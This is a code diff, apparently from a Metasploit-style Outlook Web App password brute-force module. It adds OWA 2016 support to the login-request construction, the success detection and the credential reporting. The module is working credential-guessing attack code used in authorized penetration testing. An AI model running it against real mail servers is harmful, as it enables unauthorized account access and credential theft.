@@ -16,7 +16,7 @@ def initialize
16
16
super (
17
17
'Name' => 'Outlook Web App (OWA) Brute Force Utility' ,
18
18
'Description' => %q{
19
- This module tests credentials on OWA 2003, 2007, 2010, and 2013 servers.
19
+ This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
20
20
} ,
21
21
'Author' =>
22
22
[
@@ -68,6 +68,15 @@ def initialize
68
68
'InboxPath' => '/owa/' ,
69
69
'InboxCheck' => /Inbox|logoff\. owa/
70
70
}
71
+ ] ,
72
+ [
73
+ 'OWA_2016' ,
74
+ {
75
+ 'Description' => 'OWA version 2016' ,
76
+ 'AuthPath' => '/owa/auth.owa' ,
77
+ 'InboxPath' => '/owa/' ,
78
+ 'InboxCheck' => /Inbox|logoff\. owa/
79
+ }
71
80
]
72
81
] ,
73
82
'DefaultAction' => 'OWA_2013' ,
@@ -158,13 +167,13 @@ def try_user_pass(opts)
158
167
}
159
168
160
169
if datastore [ 'SSL' ]
161
- if action . name == "OWA_2013"
170
+ if [ "OWA_2013" , "OWA_2016" ] . include? ( action . name )
162
171
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
163
172
else
164
173
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
165
174
end
166
175
else
167
- if action . name == "OWA_2013"
176
+ if [ "OWA_2013" , "OWA_2016" ] . include? ( action . name )
168
177
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
169
178
else
170
179
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
@@ -201,12 +210,12 @@ def try_user_pass(opts)
201
210
vprint_status ( "#{ msg } Resolved hostname '#{ datastore [ 'RHOST' ] } ' to address #{ res . peerinfo [ 'addr' ] } " )
202
211
end
203
212
204
- if action . name != "OWA_2013" and res . get_cookies . empty?
213
+ if ! [ "OWA_2013" , "OWA_2016" ] . include? ( action . name ) && res . get_cookies . empty?
205
214
print_error ( "#{ msg } Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting" )
206
215
return :abort
207
216
end
208
- if action . name == "OWA_2013"
209
- # Check for a response code to make sure login was valid. Changes from 2010 to 2013.
217
+ if [ "OWA_2013" , "OWA_2016" ] . include? ( action . name )
218
+ # Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
210
219
# Check if the password needs to be changed.
211
220
if res . headers [ 'location' ] =~ /expiredpassword/
212
221
print_good ( "#{ msg } SUCCESSFUL LOGIN. #{ elapsed_time } '#{ user } ' : '#{ pass } ': NOTE password change required" )
@@ -222,8 +231,9 @@ def try_user_pass(opts)
222
231
223
232
# No password change required moving on.
224
233
# Check for valid login but no mailbox setup
225
- if res . headers [ 'location' ] =~ /owa/ and res . headers [ 'location' ] !~ /reason/
226
- print_good ( "#{ msg } SUCCESSFUL LOGIN. #{ elapsed_time } '#{ user } ' : '#{ pass } ': NOTE a mailbox is not setup" )
234
+ print_good ( "server type: #{ res . headers [ "X-FEServer" ] } " )
235
+ if res . headers [ 'location' ] =~ /owa/
236
+ print_good ( "#{ msg } SUCCESSFUL LOGIN. #{ elapsed_time } '#{ user } ' : '#{ pass } '" )
227
237
report_cred (
228
238
ip : res . peerinfo [ 'addr' ] ,
229
239
port : datastore [ 'RPORT' ] ,
@@ -235,7 +245,7 @@ def try_user_pass(opts)
235
245
end
236
246
237
247
unless location = res . headers [ 'location' ]
238
- print_error ( "#{ msg } No HTTP redirect. This is not OWA 2013, aborting." )
248
+ print_error ( "#{ msg } No HTTP redirect. This is not OWA 2013 / 2016 system , aborting." )
239
249
return :abort
240
250
end
241
251
reason = location . split ( 'reason=' ) [ 1 ]
0 commit comments